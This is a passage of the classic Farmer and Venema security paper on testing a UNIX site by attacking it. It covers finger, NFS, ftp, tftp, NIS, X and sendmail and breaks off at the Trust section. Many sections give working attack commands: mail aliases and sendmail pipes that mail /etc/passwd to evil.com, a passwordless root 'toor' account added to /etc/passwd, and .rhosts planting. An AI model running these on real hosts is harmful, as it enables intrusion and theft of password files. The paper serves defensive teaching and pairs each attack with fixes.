home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / Hack Foo.sit / Hack Foo / admin.txt next >
Text File  |  1996-11-29  |  52KB  |  1,121 lines

  1.  
  2. _Improving the Security of Your Site by Breaking Into it_
  3.  
  4.  
  5.   Dan Farmer                      Wietse Venema
  6.  
  7.   Sun Microsystems                Eindhoven University of Technology
  8.   2550 garcia ave MS PAL1-407     P.O. Box 513, 5600 MB
  9.   Mountain View CA 94043          Eindhoven, NL
  10.  
  11.   zen@sun.com                     wietse@wzv.win.tue.nl
  12.  
  13.  
  14. Introduction
  15. ------------
  16.  
  17. Every day, all over the world, computer networks and hosts are being
  18. broken into.  The level of sophistication of these attacks varies
  19. widely; while it is generally believed that most break-ins succeed due
  20. to weak passwords, there are still a large number of intrusions that use
  21. more advanced techniques to break in.  Less is known about the latter
  22. types of break-ins, because by their very nature they are much harder to
  23. detect.
  24.  
  25. -----
  26.  
  27. CERT.  SRI.  The Nic.  NCSC.  RSA.  NASA.  MIT.  Uunet.  Berkeley.
  28. Purdue.  Sun.  You name it, we've seen it broken into.  Anything that is
  29. on the Internet (and many that isn't) seems to be fairly easy game.  Are
  30. these targets unusual?  What happened?
  31.  
  32. Fade to...
  33.  
  34. A young boy, with greasy blonde hair, sitting in a dark room.  The room
  35. is illuminated only by the luminescense of the C64's 40 character
  36. screen.  Taking another long drag from his Benson and Hedges cigarette,
  37. the weary system cracker telnets to the next faceless ".mil" site on his
  38. hit list.  "guest -- guest", "root -- root", and "system -- manager" all
  39. fail.  No matter.  He has all night... he pencils the host off of his
  40. list, and tiredly types in the next potential victim...
  41.  
  42. This seems to be the popular image of a system cracker.  Young,
  43. inexperienced, and possessing vast quantities of time to waste, to get
  44. into just one more system.  However, there is a far more dangerous type
  45. of system cracker out there.  One who knows the ins and outs of the
  46. latest security auditing and cracking tools, who can modify them for
  47. specific attacks, and who can write his/her own programs.  One who not
  48. only reads about the latest security holes, but also personally
  49. discovers bugs and vulnerabilities.  A deadly creature that can both
  50. strike poisonously and hide its tracks without a whisper or hint of a
  51. trail.  The uebercracker is here.
  52.  
  53. -----
  54.  
  55. Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
  56. uebermensch, or, literally translated into English, "over man."
  57. Nietzsche used the term not to refer to a comic book superman, but
  58. instead a man who had gone beyond the incompetence, pettiness, and
  59. weakness of the everyday man.  The uebercracker is therefore the system
  60. cracker who has gone beyond simple cookbook methods of breaking into
  61. systems.  An uebercracker is not usually motivated to perform random
  62. acts of violence.  Targets are not arbitrary -- there is a purpose,
  63. whether it be personal monetary gain, a hit and run raid for
  64. information, or a challenge to strike a major or prestigious site or
  65. net.personality.  An uebercracker is hard to detect, harder to stop, and
  66. hardest to keep out of your site for good.
  67.  
  68. Overview
  69. --------
  70.  
  71. In this paper we will take an unusual approach to system security.
  72. Instead of merely saying that something is a problem, we will look
  73. through the eyes of a potential intruder, and show _why_ it is one.  We
  74. will illustrate that even seemingly harmless network services can become
  75. valuable tools in the search for weak points of a system, even when
  76. these services are operating exactly as they are intended to.
  77.  
  78. In an effort to shed some light on how more advanced intrusions occur,
  79. this paper outlines various mechanisms that crackers have actually used
  80. to obtain access to systems and, in addition, some techniques we either
  81. suspect intruders of using, or that we have used ourselves in tests or
  82. in friendly/authorized environments.
  83.  
  84. Our motivation for writing this paper is that system administrators are
  85. often unaware of the dangers presented by anything beyond the most
  86. trivial attacks.  While it is widely known that the proper level of
  87. protection depends on what has to be protected, many sites appear to
  88. lack the resources to assess what level of host and network security is
  89. adequate.  By showing what intruders can do to gain access to a remote
  90. site, we are trying to help system administrators to make _informed_
  91. decisions on how to secure their site -- or not.  We will limit the
  92. discussion to techniques that can give a remote intruder access to a
  93. (possibly non-interactive) shell process on a UNIX host.  Once this is
  94. achieved, the details of obtaining root privilege are beyond the scope
  95. of this work -- we consider them too site-dependent and, in many cases,
  96. too trivial to merit much discussion.
  97.  
  98. We want to stress that we will not merely run down a list of bugs or
  99. security holes -- there will always be new ones for a potential attacker
  100. to exploit.  The purpose of this paper is to try to get the reader to
  101. look at her or his system in a new way -- one that will hopefully afford
  102. him or her the opportunity to _understand_ how their system can be
  103. compromised, and how.
  104.  
  105. We would also like to reiterate to the reader that the purpose of this
  106. paper is to show you how to test the security of your own site, not how
  107. to break into other people's systems.  The intrusion techniques we
  108. illustrate here will often leave traces in your system auditing logs --
  109. it might be constructive to examine them after trying some of these
  110. attacks out, to see what a real attack might look like.  Certainly other
  111. sites and system administrators will take a very dim view of your
  112. activities if you decide to use their hosts for security testing without
  113. advance authorization; indeed, it is quite possible that legal action
  114. may be pursued against you if they perceive it as an attack.
  115.  
  116. There are four main parts to the paper.  The first part is the
  117. introduction and overview.  The second part attempts to give the reader
  118. a feel for what it is like to be an intruder and how to go from knowing
  119. nothing about a system to compromising its security.  This section goes
  120. over actual techniques to gain information and entrance and covers basic
  121. strategies such as exploiting trust and abusing improperly configured
  122. basic network services (ftp, mail, tftp, etc.)  It also discusses
  123. slightly more advanced topics, such as NIS and NFS, as well as various
  124. common bugs and configuration problems that are somewhat more OS or
  125. system specific.  Defensive strategies against each of the various
  126. attacks are also covered here.
  127.  
  128. The third section deals with trust: how the security of one system
  129. depends on the integrity of other systems.  Trust is the most complex
  130. subject in this paper, and for the sake of brevity we will limit the
  131. discussion to clients in disguise.
  132.  
  133. The fourth section covers the basic steps that a system administrator
  134. may take to protect her or his system.  Most of the methods presented
  135. here are merely common sense, but they are often ignored in practice --
  136. one of our goals is to show just how dangerous it can be to ignore basic
  137. security practices.
  138.  
  139. Case studies, pointers to security-related information, and software are
  140. described in the appendices at the end of the paper.
  141.  
  142. While exploring the methods and strategies discussed in this paper we we
  143. wrote SATAN (Security Analysis Tool for Auditing Networks.)  Written in
  144. shell, perl, expect and C, it examines a remote host or set of hosts and
  145. gathers as much information as possible by remotely probing NIS, finger,
  146. NFS, ftp and tftp, rexd, and other services.  This information includes
  147. the presence of various network information services as well as
  148. potential security flaws -- usually in the form of incorrectly setup or
  149. configured network services, well-known bugs in system or network
  150. utilities, or poor or ignorant policy decisions.  It then can either
  151. report on this data or use an expert system to further investigate any
  152. potential security problems.  While SATAN doesn't use all of the methods
  153. that we discuss in the paper, it has succeeded with ominous regularity
  154. in finding serious holes in the security of Internet sites.  It will be
  155. posted and made available via anonymous ftp when completed; Appendix A
  156. covers its salient features.
  157.  
  158. Note that it isn't possible to cover all possible methods of breaking
  159. into systems in a single paper.  Indeed, we won't cover two of the most
  160. effective methods of breaking into hosts: social engineering and
  161. password cracking.  The latter method is so effective, however, that
  162. several of the strategies presented here are geared towards acquiring
  163. password files.  In addition, while windowing systems (X, OpenWindows,
  164. etc.) can provide a fertile ground for exploitation, we simply don't
  165. know many methods that are used to break into remote systems.  Many
  166. system crackers use non-bitmapped terminals which can prevent them from
  167. using some of the more interesting methods to exploit windowing systems
  168. effectively (although being able to monitor the victim's keyboard is
  169. often sufficient to capture passwords).  Finally, while worms, viruses,
  170. trojan horses, and other malware are very interesting, they are not
  171. common (on UNIX systems) and probably will use similar techniques to the
  172. ones we describe in this paper as individual parts to their attack
  173. strategy.
  174.  
  175. Gaining Information
  176. -------------------
  177.  
  178. Let us assume that you are the head system administrator of Victim
  179. Incorporated's network of UNIX workstations.  In an effort to secure
  180. your machines, you ask a friendly system administrator from a nearby
  181. site (evil.com) to give you an account on one of her machines so that
  182. you can look at your own system's security from the outside.
  183.  
  184. What should you do?  First, try to gather information about your
  185. (target) host.  There is a wealth of network services to look at:
  186. finger, showmount, and rpcinfo are good starting points.  But don't stop
  187. there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,
  188. and as many other services as you can find.  There are so many methods
  189. and techniques that space precludes us from showing all of them, but we
  190. will try to show a cross-section of the most common and/or dangerous
  191. strategies that we have seen or have thought of.  Ideally, you would
  192. gather such information about all hosts on the subnet or area of attack
  193. -- information is power -- but for now we'll examine only our intended
  194. target.
  195.  
  196. To start out, you look at what the ubiquitous finger command shows you
  197. (assume it is 6pm, Nov 6, 1993):
  198.  
  199.  victim % finger @victim.com
  200.  [victim.com]
  201.  Login       Name             TTY Idle     When    Where
  202.  zen      Dr.  Fubar           co   1d  Wed 08:00   death.com
  203.  
  204. Good!  A single idle user -- it is likely that no one will notice if you
  205. actually manage to break in.
  206.  
  207. Now you try more tactics.  As every finger devotee knows, fingering "@",
  208. "0", and "", as well as common names, such as root, bin, ftp, system,
  209. guest, demo, manager, etc., can reveal interesting information.  What
  210. that information is depends on the version of finger that your target is
  211. running, but the most notable are account names, along with their home
  212. directories and the host that they last logged in from.
  213.  
  214. To add to this information, you can use rusers (in particular with the
  215. -l flag) to get useful information on logged-in users.
  216.  
  217. Trying these commands on victim.com reveals the following information,
  218. presented in a compressed tabular form to save space:
  219.  
  220.  Login   Home-dir    Shell      Last login, from where
  221.  -----   --------    -----      ----------------------
  222.  root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
  223.  bin     /bin                   Never logged in
  224.  nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
  225.  daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
  226.  sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
  227.  zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
  228.  sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
  229.  guest   /export/foo /bin/sh    Never logged in
  230.  ftp     /home/ftp              Never logged in
  231.  
  232. Both our experiments with SATAN and watching system crackers at work
  233. have proved to us that finger is one of the most dangerous services,
  234. because it is so useful for investigating a potential target.  However,
  235. much of this information is useful only when used in conjunction with
  236. other data.
  237.  
  238. For instance, running showmount on your target reveals:
  239.  
  240.  evil % showmount -e victim.com
  241.  export list for victim.com:
  242.  /export                            (everyone)
  243.  /var                               (everyone)
  244.  /usr                               easy
  245.  /export/exec/kvm/sun4c.sunos.4.1.3 easy
  246.  /export/root/easy                  easy
  247.  /export/swap/easy                  easy
  248.  
  249. Note that /export/foo is exported to the world; also note that this is
  250. user guest's home directory.  Time for your first break-in!  In this
  251. case, you'll mount the home directory of user "guest."  Since you don't
  252. have a corresponding account on the local machine and since root cannot
  253. modify files on an NFS mounted filesystem, you create a "guest" account
  254. in your local password file.  As user guest you can put an .rhosts entry
  255. in the remote guest home directory, which will allow you to login to the
  256. target machine without having to supply a password.
  257.  
  258.  evil # mount victim.com:/export/foo /foo
  259.  evil # cd /foo
  260.  evil # ls -lag
  261.  total 3
  262.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  263.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  264.     1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
  265.  evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
  266.  evil # ls -lag
  267.  total 3
  268.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  269.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  270.     1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
  271.  evil # su guest
  272.  evil % echo evil.com >> guest/.rhosts
  273.  evil % rlogin victim.com
  274.      Welcome to victim.com!
  275.  victim %
  276.  
  277. If, instead of home directories, victim.com were exporting filesystems
  278. with user commands (say, /usr or /usr/local/bin), you could replace a
  279. command with a trojan horse that executes any command of your choice.
  280. The next user to execute that command would execute your program.
  281.  
  282. We suggest that filesystems be exported:
  283.  
  284. o   Read/write only to specific, trusted clients.
  285. o   Read-only, where possible (data or programs can often be
  286.     exported in this manner.)
  287.  
  288. If the target has a "+" wildcard in its /etc/hosts.equiv (the default in
  289. various vendor's machines) or has the netgroups bug (CERT advisory
  290. 91:12), any non-root user with a login name in the target's password
  291. file can rlogin to the target without a password.  And since the user
  292. "bin" often owns key files and directories, your next attack is to try
  293. to log in to the target host and modify the password file to let you
  294. have root access:
  295.  
  296.  evil % whoami
  297.  bin
  298.  evil % rsh victim.com csh -i
  299.  Warning: no access to tty; thus no job control in this shell...
  300.  victim %  ls -ldg /etc
  301.  drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
  302.  victim %  cd /etc
  303.  victim %  mv passwd pw.old
  304.  victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
  305.  victim % ^D
  306.  evil % rlogin victim.com -l toor
  307.      Welcome to victim.com!
  308.  victim #
  309.  
  310. A few notes about the method used above; "rsh victim.com csh -i" is used
  311. to initially get onto the system because it doesn't leave any traces in
  312. the wtmp or utmp system auditing files, making the rsh invisible for
  313. finger and who.  The remote shell isn't attached to a pseudo-terminal,
  314. however, so that screen-oriented programs such as pagers and editors
  315. will fail -- but it is very handy for brief exploration.
  316.  
  317. The COPS security auditing tool (see appendix D) will report key files
  318. or directories that are writable to accounts other than the
  319. superuser. If you run SunOS 4.x you can apply patch 100103 to fix most
  320. file permission problems. On many systems, rsh probes as shown above,
  321. even when successful, would remain completely unnoticed; the tcp wrapper
  322. (appendix D), which logs incoming connections, can help to expose such
  323. activities.
  324.  
  325. ----
  326.  
  327. What now?  Have you uncovered all the holes on your target system?  Not
  328. by a long shot.  Going back to the finger results on your target, you
  329. notice that it has an "ftp" account, which usually means that anonymous
  330. ftp is enabled.  Anonymous ftp can be an easy way to get access, as it
  331. is often misconfigured.  For example, the target may have a complete
  332. copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory
  333. instead of a stripped down version.  In this example, though, you see
  334. that the latter doesn't seem to be true (how can you tell without
  335. actually examining the file?)  However, the home directory of ftp on
  336. victim.com is writable.  This allows you to remotely execute a command
  337. -- in this case, mailing the password file back to yourself -- by the
  338. simple method of creating a .forward file that executes a command when
  339. mail is sent to the ftp account. This is the same mechanism of piping
  340. mail to a program that the "vacation" program uses to automatically
  341. reply to mail messages.
  342.  
  343.  evil % cat forward_sucker_file
  344.  "|/bin/mail zen@evil.com < /etc/passwd"
  345.  
  346.  evil % ftp victim.com
  347.  Connected to victim.com
  348.  220 victim FTP server ready.
  349.  Name (victim.com:zen): ftp
  350.  331 Guest login ok, send ident as password.
  351.  Password:
  352.  230 Guest login ok, access restrictions apply.
  353.  ftp> ls -lga
  354.  200 PORT command successful.
  355.  150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
  356.  total 5
  357.  drwxr-xr-x  4 101      1             512 Jun 20  1991 .
  358.  drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
  359.  drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
  360.  drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
  361.  drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
  362.  226 ASCII Transfer complete.
  363.  242 bytes received in 0.066 seconds (3.6 Kbytes/s)
  364.  ftp> put forward_sucker_file .forward
  365.  43 bytes sent in 0.0015 seconds (28 Kbytes/s)
  366.  ftp> quit
  367.  evil % echo test | mail ftp@victim.com
  368.  
  369. Now you simply wait for the password file to be sent back to you.
  370.  
  371. The security auditing tool COPS will check your anonymous ftp setup; see
  372. the man page for ftpd, the documentation/code for COPS, or CERT advisory
  373. 93:10 for information on how to set up anonymous ftp correctly.
  374. Vulnerabilities in ftp are often a matter of incorrect ownership or
  375. permissions of key files or directories. At the very least, make sure
  376. that ~ftp and all "system" directories and files below ~ftp are owned by
  377. root and are not writable by any user.
  378.  
  379. While looking at ftp, you can check for an older bug that was once
  380. widely exploited:
  381.  
  382.  % ftp -n
  383.  ftp> open victim.com
  384.  Connected to victim.com
  385.  220 victim.com FTP server ready.
  386.  ftp> quote user ftp
  387.  331 Guest login ok, send ident as password.
  388.  ftp> quote cwd ~root
  389.  530 Please login with USER and PASS.
  390.  ftp> quote pass ftp
  391.  230 Guest login ok, access restrictions apply.
  392.  ftp> ls -al / (or whatever)
  393.  
  394. If this works, you now are logged in as root, and able to modify the
  395. password file, or whatever you desire.  If your system exhibits this
  396. bug, you should definitely get an update to your ftpd daemon, either
  397. from your vendor or (via anon ftp) from ftp.uu.net.
  398.  
  399. The wuarchive ftpd, a popular replacement ftp daemon put out by the
  400. Washington University in Saint Louis, had almost the same problem.  If
  401. your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
  402. more recent version.
  403.  
  404. Finally, there is a program vaguely similar to ftp -- tftp, or the
  405. trivial file transfer program.  This daemon doesn't require any password
  406. for authentication; if a host provides tftp without restricting the
  407. access (usually via some secure flag set in the inetd.conf file), an
  408. attacker can read and write files anywhere on the system. In the
  409. example, you get the remote password file and place it in your local
  410. /tmp directory:
  411.  
  412.  evil % tftp
  413.  tftp> connect victim.com
  414.  tftp> get /etc/passwd /tmp/passwd.victim
  415.  tftp> quit
  416.  
  417. For security's sake, tftp should not be run; if tftp is necessary, use
  418. the secure option/flag to restrict access to a directory that has no
  419. valuable information, or run it under the control of a chroot wrapper
  420. program.
  421.  
  422. ----
  423.  
  424. If none of the previous methods have worked, it is time to go on to more
  425. drastic measures.  You have a friend in rpcinfo, another very handy
  426. program, sometimes even more useful than finger.  Many hosts run RPC
  427. services that can be exploited; rpcinfo can talk to the portmapper and
  428. show you the way.  It can tell you if the host is running NIS, if it is
  429. a NIS server or slave, if a diskless workstation is around, if it is
  430. running NFS, any of the info services (rusersd, rstatd, etc.), or any
  431. other unusual programs (auditing or security related).  For instance,
  432. going back to our sample target:
  433.  
  434.  evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
  435.     program vers proto   port
  436.      100004    2   tcp    673  ypserv
  437.      100005    1   udp    721  mountd
  438.      100003    2   udp   2049  nfs
  439.      100026    1   udp    733  bootparam
  440.      100017    1   tcp   1274  rexd
  441.  
  442. In this case, you can see several significant facts about our target;
  443. first of which is that it is an NIS server.  It is perhaps not widely
  444. known, but once you know the NIS domainname of a server, you can get any
  445. of its NIS maps by a simple rpc query, even when you are outside the
  446. subnet served by the NIS server (for example, using the YPX program that
  447. can be found in the comp.sources.misc archives on ftp.uu.net).  In
  448. addition, very much like easily guessed passwords, many systems use
  449. easily guessed NIS domainnames.  Trying to guess the NIS domainname is
  450. often very fruitful. Good candidates are the fully and partially
  451. qualified hostname (e.g.  "victim" and "victim.com"), the organization
  452. name, netgroup names in "showmount" output, and so on.  If you wanted to
  453. guess that the domainname was "victim", you could type:
  454.  
  455.  evil % ypwhich -d victim victim.com
  456.  Domain victim not bound.
  457.  
  458. This was an unsuccessful attempt; if you had guessed correctly it would
  459. have returned with the host name of victim.com's NIS server.  However,
  460. note from the NFS section that victim.com is exporting the "/var"
  461. directory to the world.  All that is needed is to mount this directory
  462. and look in the "yp" subdirectory -- among other things you will see
  463. another subdirectory that contains the domainname of the target.
  464.  
  465.  evil # mount victim.com:/var /foo
  466.  evil # cd /foo
  467.  evil # /bin/ls -alg /foo/yp
  468.  total 17
  469.     1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
  470.     1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
  471.    11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
  472.     1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
  473.     2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
  474.     [...]
  475.  
  476. In this case, "foo_bar" is the NIS domain name.
  477.  
  478. In addition, the NIS maps often contain a good list of user/employee
  479. names as well as internal host lists, not to mention passwords for
  480. cracking.
  481.  
  482. Appendix C details the results of a case study on NIS password files.
  483.  
  484. ----
  485.  
  486. You note that the rpcinfo output also showed that victim.com runs rexd.
  487. Like the rsh daemon, rexd processes requests of the form "please execute
  488. this command as that user". Unlike rshd, however, rexd does not care if
  489. the client host is in the hosts.equiv or .rhost files. Normally the rexd
  490. client program is the "on" command, but it only takes a short C program
  491. to send arbitrary client host and userid information to the rexd server;
  492. rexd will happily execute the command.  For these reasons, running rexd
  493. is similar to having no passwords at all: all security is in the client,
  494. not in the server where it should be. Rexd security can be improved
  495. somewhat by using secure RPC.
  496.  
  497. ----
  498.  
  499. While looking at the output from rpcinfo, you observe that victim.com
  500. also seems to be a server for diskless workstations. This is evidenced
  501. by the presence of the bootparam service, which provides information to
  502. the diskless clients for booting.  If you ask nicely, using
  503. BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get
  504. its NIS domainname.  This can be very useful when combined with the fact
  505. that you can get arbitrary NIS maps (such as the password file) when you
  506. know the NIS domainname.  Here is a sample code snippet to do just that
  507. (bootparam is part of SATAN.)
  508.  
  509.     char   *server;
  510.     struct bp_whoami_arg arg;           /* query */
  511.     struct bp_whoami_res res;           /* reply */
  512.  
  513.     /* initializations omitted... */
  514.  
  515.     callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
  516.             xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
  517.  
  518.     printf("%s has nisdomain %s\n", server, res.domain_name);
  519.  
  520. The showmount output indicated that "easy" is a diskless client of
  521. victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
  522. query:
  523.  
  524.  evil % bootparam victim.com easy.victim.com
  525.  victim.com has nisdomain foo_bar
  526.  
  527. ----
  528.  
  529. NIS masters control the mail aliases for the NIS domain in question.
  530. Just like local mail alias files, you can create a mail alias that will
  531. execute commands when mail is sent to it (a once popular example of this
  532. is the "decode" alias which uudecodes mail files sent to it.)  For
  533. instance, here you create an alias "foo", which mails the password file
  534. back to evil.com by simply mailing any message to it:
  535.  
  536.  nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
  537.  nis-master # cd /var/yp
  538.  nis-master # make aliases
  539.  nis-master # echo test | mail -v foo@victim.com
  540.  
  541. Hopefully attackers won't have control of your NIS master host, but even
  542. more hopefully the lesson is clear -- NIS is normally insecure, but if
  543. an attacker has control of your NIS master, then s/he effectively has
  544. control of the client hosts (e.g. can execute arbitrary commands).
  545.  
  546. There aren't many effective defenses against NIS attacks; it is an
  547. insecure service that has almost no authentication between clients and
  548. servers.  To make things worse, it seems fairly clear that arbitrary
  549. maps can be forced onto even master servers (e.g., it is possible to
  550. treat an NIS server as a client). This, obviously, would subvert the
  551. entire schema.  If it is absolutely necessary to use NIS, choosing a
  552. hard to guess domainname can help slightly, but if you run diskless
  553. clients that are exposed to potential attackers then it is trivial for
  554. an attacker to defeat this simple step by using the bootparam trick to
  555. get the domainname.  If NIS is used to propagate the password maps, then
  556. shadow passwords do not give additional protection because the shadow
  557. map is still accessible to any attacker that has root on an attacking
  558. host.  Better is to use NIS as little as possible, or to at least
  559. realize that the maps can be subject to perusal by potentially hostile
  560. forces.
  561.  
  562. Secure RPC goes a long way to diminish the threat, but it has its own
  563. problems, primarily in that it is difficult to administer, but also in
  564. that the cryptographic methods used within are not very strong.  It has
  565. been rumored that NIS+, Sun's new network information service, fixes
  566. some of these problems, but until now it has been limited to running on
  567. Suns, and thus far has not lived up to the promise of the design.
  568. Finally, using packet filtering (at the very least port 111) or
  569. securelib (see appendix D), or, for Suns, applying Sun patch 100482-02
  570. all can help.
  571.  
  572. ----
  573.  
  574. The portmapper only knows about RPC services.  Other network services
  575. can be located with a brute-force method that connects to all network
  576. ports.  Many network utilities and windowing systems listen to specific
  577. ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is
  578. usually on port 6000, etc.)  SATAN includes a program that scans the
  579. ports of a remote hosts and reports on its findings; if you run it
  580. against our target, you see:
  581.  
  582.  evil % tcpmap victim.com
  583.  Mapping 128.128.128.1
  584.  port 21: ftp
  585.  port 23: telnet
  586.  port 25: smtp
  587.  port 37: time
  588.  port 79: finger
  589.  port 512: exec
  590.  port 513: login
  591.  port 514: shell
  592.  port 515: printer
  593.  port 6000: (X)
  594.  
  595. This suggests that victim.com is running X windows.  If not protected
  596. properly (via the magic cookie or xhost mechanisms), window displays can
  597. be captured or watched, user keystrokes may be stolen, programs executed
  598. remotely, etc.  Also, if the target is running X and accepts a telnet to
  599. port 6000, that can be used for a denial of service attack, as the
  600. target's windowing system will often "freeze up" for a short period of
  601. time.  One method to determine the vulnerability of an X server is to
  602. connect to it via the XOpenDisplay() function; if the function returns
  603. NULL then you cannot access the victim's display (opendisplay is part of
  604. SATAN):
  605.  
  606.     char   *hostname;
  607.  
  608.     if (XOpenDisplay(hostname) == NULL) {
  609.        printf("Cannot open display: %s\n", hostname);
  610.     } else {
  611.        printf("Can open display: %s\n", hostname);
  612.     }
  613.  
  614.  evil % opendisplay victim.com:0
  615.  Cannot open display: victim.com:0
  616.  
  617. X terminals, though much less powerful than a complete UNIX system, can
  618. have their own security problems.  Many X terminals permit unrestricted
  619. rsh access, allowing you to start X client programs in the victim's
  620. terminal with the output appearing on your own screen:
  621.  
  622.  evil % xhost +xvictim.victim.com
  623.  evil % rsh xvictim.victim.com telnet victim.com -display evil.com
  624.  
  625. In any case, give as much thought to your window security as your
  626. filesystem and network utilities, for it can compromise your system as
  627. surely as a "+" in your hosts.equiv or a passwordless (root) account.
  628.  
  629. ----
  630.  
  631. Next, you examine sendmail.  Sendmail is a very complex program that has
  632. a long history of security problems, including the infamous "wiz"
  633. command (hopefully long since disabled on all machines).  You can often
  634. determine the OS, sometimes down to the version number, of the target,
  635. by looking at the version number returned by sendmail.  This, in turn,
  636. can give you hints as to how vulnerable it might be to any of the
  637. numerous bugs.  In addition, you can see if they run the "decode" alias,
  638. which has its own set of problems:
  639.  
  640.  evil % telnet victim.com 25
  641.  connecting to host victim.com (128.128.128.1.), port 25
  642.  connection open
  643.  220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
  644.  expn decode
  645.  250 <"|/usr/bin/uudecode">
  646.  quit
  647.  
  648. Running the "decode" alias is a security risk -- it allows potential
  649. attackers to overwrite any file that is writable by the owner of that
  650. alias -- often daemon, but potentially any user.  Consider this piece of
  651. mail -- this will place "evil.com" in user zen's .rhosts file if it is
  652. writable:
  653.  
  654.  evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
  655.  
  656. If no home directories are known or writable, an interesting variation
  657. of this is to create a bogus /etc/aliases.pag file that contains an
  658. alias with a command you wish to execute on your target.  This may work
  659. since on many systems the aliases.pag and aliases.dir files, which
  660. control the system's mail aliases, are writable to the world.
  661.  
  662.  evil % cat decode
  663.  bin: "| cat /etc/passwd | mail zen@evil.com"
  664.  evil % newaliases -oQ/tmp -oA`pwd`/decode
  665.  evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
  666.  evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
  667.  
  668. A lot of things can be found out by just asking sendmail if an address
  669. is acceptable (vrfy), or what an address expands to (expn).  When the
  670. finger or rusers services are turned off, vrfy and expn can still be
  671. used to identify user accounts or targets.  Vrfy and expn can also be
  672. used to find out if the user is piping mail through any program that
  673. might be exploited (e.g. vacation, mail sorters, etc.).  It can be a
  674. good idea to disable the vrfy and expn commands: in most versions, look
  675. at the source file srvrsmtp.c, and either delete or change the two lines
  676. in the CmdTab structure that have the strings "vrfy" and "expn".  Sites
  677. without source can still disable expn and vrfy by just editing the
  678. sendmail executable with a binary editor and replacing "vrfy" and "expn"
  679. with blanks.  Acquiring a recent version of sendmail (see Appendix D) is
  680. also an extremely good idea, since there have probably been more
  681. security bugs reported in sendmail than in any other UNIX program.
  682.  
  683. ----
  684.  
  685. As a sendmail-sendoff, there are two fairly well known bugs that should
  686. be checked into.  The first was definitely fixed in version 5.59 from
  687. Berkeley; despite the messages below, for versions of sendmail previous
  688. to 5.59, the "evil.com" gets appended, despite the error messages, along
  689. with all of the typical mail headers, to the file specified:
  690.  
  691.  % cat evil_sendmail
  692.  telnet victim.com 25 << EOSM
  693.  rcpt to: /home/zen/.rhosts
  694.  mail from: zen
  695.  data
  696.  random garbage
  697.  .
  698.  rcpt to: /home/zen/.rhosts
  699.  mail from: zen
  700.  data
  701.  evil.com
  702.  .
  703.  quit
  704.  EOSM
  705.  
  706.  evil % /bin/sh evil_sendmail
  707.  Trying 128.128.128.1
  708.  Connected to victim.com
  709.  Escape character is '^]'.
  710.  Connection closed by foreign host.
  711.  
  712.  evil % rlogin victim.com -l zen
  713.      Welcome to victim.com!
  714.  victim %
  715.  
  716. The second hole, fixed only recently, permitted anyone to specify
  717. arbitrary shell commands and/or pathnames for the sender and/or
  718. destination address.  Attempts to keep details secret were in vain, and
  719. extensive discussions in mailing lists and usenet news groups led to
  720. disclosure of how to exploit some versions of the bug.  As with many
  721. UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem,
  722. since they all share a common source code tree ancestry.  Space
  723. precludes us from discussing it fully, but a typical attack to get the
  724. password file might look like this:
  725.  
  726.  evil % telnet victim.com 25
  727.  Trying 128.128.128.1...
  728.  Connected to victim.com
  729.  Escape character is '^]'.
  730.  220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
  731.  mail from: "|/bin/mail zen@evil.com < /etc/passwd"
  732.  250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
  733.  rcpt to: nosuchuser
  734.  550 nosuchuser... User unknown
  735.  data
  736.  354 Enter mail, end with "." on a line by itself
  737.  .
  738.  250 Mail accepted
  739.  quit
  740.  Connection closed by foreign host.
  741.  evil %
  742.  
  743. At the time of writing, version 8.6.4 of sendmail (see Appendix D for
  744. information on how to get this) is reportedly the only variant of
  745. sendmail with all of the recent security bugs fixed.
  746.  
  747. Trust
  748. -----
  749.  
  750. For our final topic of vulnerability, we'll digress from the practical
  751. strategy we've followed previously to go a bit more into the theoretical
  752. side, and briefly discuss the notion of trust.  The issues and
  753. implications of vulnerabilities here are a bit more subtle and
